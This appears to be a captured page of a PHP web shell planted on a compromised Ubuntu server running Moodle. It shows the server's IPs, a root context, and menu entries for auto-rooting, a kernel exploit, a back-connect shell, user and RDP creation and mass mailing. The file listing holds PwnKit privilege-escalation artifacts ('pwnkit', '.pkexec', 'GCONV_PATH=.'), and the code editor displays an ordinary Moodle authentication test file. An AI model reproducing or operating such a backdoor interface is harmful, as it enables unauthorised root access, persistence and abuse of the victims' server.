Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
other
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib_test.php
121.33
KB
-rwxrwxrwx
admintree_test.php
4.01
KB
-rwxrwxrwx
authlib_test.php
6.87
KB
-rwxrwxrwx
blocklib_test.php
13.18
KB
-rwxrwxrwx
code_test.php
2.89
KB
-rwxrwxrwx
completionlib_advanced_test.ph...
4.3
KB
-rwxrwxrwx
completionlib_test.php
29.62
KB
-rwxrwxrwx
componentlib_test.php
6.62
KB
-rwxrwxrwx
conditionlib_test.php
33.62
KB
-rwxrwxrwx
configonlylib_test.php
5.62
KB
-rwxrwxrwx
coursecatlib_test.php
27.33
KB
-rwxrwxrwx
csslib_test.php
54.76
KB
-rwxrwxrwx
csvclass_test.php
5.53
KB
-rwxrwxrwx
datalib_test.php
12.26
KB
-rwxrwxrwx
environment_test.php
1.57
KB
-rwxrwxrwx
eventslib_test.php
7.97
KB
-rwxrwxrwx
externallib_test.php
6.19
KB
-rwxrwxrwx
filelib_test.php
14.51
KB
-rwxrwxrwx
filter_test.php
26.7
KB
-rwxrwxrwx
formslib_test.php
28.63
KB
-rwxrwxrwx
gradelib_test.php
2.03
KB
-rwxrwxrwx
grouplib_test.php
18.92
KB
-rwxrwxrwx
html2text_test.php
6.15
KB
-rwxrwxrwx
htmlpurifier_test.php
9.8
KB
-rwxrwxrwx
htmlwriter_test.php
6.3
KB
-rwxrwxrwx
markdown_test.php
2.21
KB
-rwxrwxrwx
mathslib_test.php
8.21
KB
-rwxrwxrwx
medialib_test.php
23.77
KB
-rwxrwxrwx
messagelib_test.php
7.46
KB
-rwxrwxrwx
modinfolib_test.php
8.07
KB
-rwxrwxrwx
moodlelib_test.php
123.49
KB
-rwxrwxrwx
navigationlib_test.php
24.21
KB
-rwxrwxrwx
outputcomponents_test.php
18.2
KB
-rwxrwxrwx
outputlib_test.php
8.9
KB
-rwxrwxrwx
outputrequirementslib_test.php
1.71
KB
-rwxrwxrwx
pagelib_test.php
22.8
KB
-rwxrwxrwx
pluginlib_test.php
37.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib_test.php
3.1
KB
-rwxrwxrwx
rsslib_test.php
7.12
KB
-rwxrwxrwx
setuplib_test.php
5.73
KB
-rwxrwxrwx
statslib_test.php
19.13
KB
-rwxrwxrwx
string_test.php
4.21
KB
-rwxrwxrwx
textlib_test.php
24.62
KB
-rwxrwxrwx
upgradelib_test.php
1.47
KB
-rwxrwxrwx
weblib_test.php
16.3
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : authlib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Authentication related tests. * * @package core_auth * @category phpunit * @copyright 2012 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Functional test for authentication related APIs. */ class authlib_testcase extends advanced_testcase { public function test_lockout() { global $CFG; require_once("$CFG->libdir/authlib.php"); $this->resetAfterTest(); $oldlog = ini_get('error_log'); ini_set('error_log', "$CFG->dataroot/testlog.log"); // Prevent standard logging. set_config('lockoutthreshold', 0); set_config('lockoutwindow', 60*20); set_config('lockoutduration', 60*30); $user = $this->getDataGenerator()->create_user(); // Test lockout is disabled when threshold not set. $this->assertFalse(login_is_lockedout($user)); login_attempt_failed($user); login_attempt_failed($user); login_attempt_failed($user); login_attempt_failed($user); $this->assertFalse(login_is_lockedout($user)); // Test lockout threshold works. set_config('lockoutthreshold', 3); login_attempt_failed($user); login_attempt_failed($user); $this->assertFalse(login_is_lockedout($user)); ob_start(); login_attempt_failed($user); $output = ob_get_clean(); $this->assertContains('noemailever', $output); $this->assertTrue(login_is_lockedout($user)); // Test unlock works. login_unlock_account($user); $this->assertFalse(login_is_lockedout($user)); // Test lockout window works. login_attempt_failed($user); login_attempt_failed($user); $this->assertFalse(login_is_lockedout($user)); set_user_preference('login_failed_last', time()-60*20-10, $user); login_attempt_failed($user); $this->assertFalse(login_is_lockedout($user)); // Test valid login resets window. login_attempt_valid($user); $this->assertFalse(login_is_lockedout($user)); login_attempt_failed($user); login_attempt_failed($user); $this->assertFalse(login_is_lockedout($user)); // Test lock duration works. ob_start(); // Prevent nomailever notice. login_attempt_failed($user); $output = ob_get_clean(); $this->assertContains('noemailever', $output); $this->assertTrue(login_is_lockedout($user)); set_user_preference('login_lockout', time()-60*30+10, $user); $this->assertTrue(login_is_lockedout($user)); set_user_preference('login_lockout', time()-60*30-10, $user); $this->assertFalse(login_is_lockedout($user)); // Test lockout ignored pref works. set_user_preference('login_lockout_ignored', 1, $user); login_attempt_failed($user); login_attempt_failed($user); login_attempt_failed($user); login_attempt_failed($user); $this->assertFalse(login_is_lockedout($user)); ini_set('error_log', $oldlog); } public function test_authenticate_user_login() { global $CFG; $this->resetAfterTest(); $oldlog = ini_get('error_log'); ini_set('error_log', "$CFG->dataroot/testlog.log"); // Prevent standard logging. set_config('lockoutthreshold', 0); set_config('lockoutwindow', 60*20); set_config('lockoutduration', 60*30); $_SERVER['HTTP_USER_AGENT'] = 'no browser'; // Hack around missing user agent in CLI scripts. $user1 = $this->getDataGenerator()->create_user(array('username'=>'username1', 'password'=>'password1')); $user2 = $this->getDataGenerator()->create_user(array('username'=>'username2', 'password'=>'password2', 'suspended'=>1)); $user3 = $this->getDataGenerator()->create_user(array('username'=>'username3', 'password'=>'password3', 'auth'=>'nologin')); $result = authenticate_user_login('username1', 'password1'); $this->assertInstanceOf('stdClass', $result); $this->assertEquals($user1->id, $result->id); $reason = null; $result = authenticate_user_login('username1', 'password1', false, $reason); $this->assertInstanceOf('stdClass', $result); $this->assertEquals(AUTH_LOGIN_OK, $reason); $reason = null; $result = authenticate_user_login('username1', 'nopass', false, $reason); $this->assertFalse($result); $this->assertEquals(AUTH_LOGIN_FAILED, $reason); $reason = null; $result = authenticate_user_login('username2', 'password2', false, $reason); $this->assertFalse($result); $this->assertEquals(AUTH_LOGIN_SUSPENDED, $reason); $reason = null; $result = authenticate_user_login('username3', 'password3', false, $reason); $this->assertFalse($result); $this->assertEquals(AUTH_LOGIN_SUSPENDED, $reason); $reason = null; $result = authenticate_user_login('username4', 'password3', false, $reason); $this->assertFalse($result); $this->assertEquals(AUTH_LOGIN_NOUSER, $reason); set_config('lockoutthreshold', 3); $reason = null; $result = authenticate_user_login('username1', 'nopass', false, $reason); $this->assertFalse($result); $this->assertEquals(AUTH_LOGIN_FAILED, $reason); $result = authenticate_user_login('username1', 'nopass', false, $reason); $this->assertFalse($result); $this->assertEquals(AUTH_LOGIN_FAILED, $reason); ob_start(); // Prevent nomailever notice. $result = authenticate_user_login('username1', 'nopass', false, $reason); ob_end_clean(); $this->assertFalse($result); $this->assertEquals(AUTH_LOGIN_FAILED, $reason); $result = authenticate_user_login('username1', 'password1', false, $reason); $this->assertFalse($result); $this->assertEquals(AUTH_LOGIN_LOCKOUT, $reason); $result = authenticate_user_login('username1', 'password1', true, $reason); $this->assertInstanceOf('stdClass', $result); $this->assertEquals(AUTH_LOGIN_OK, $reason); ini_set('error_log', $oldlog); } }
Close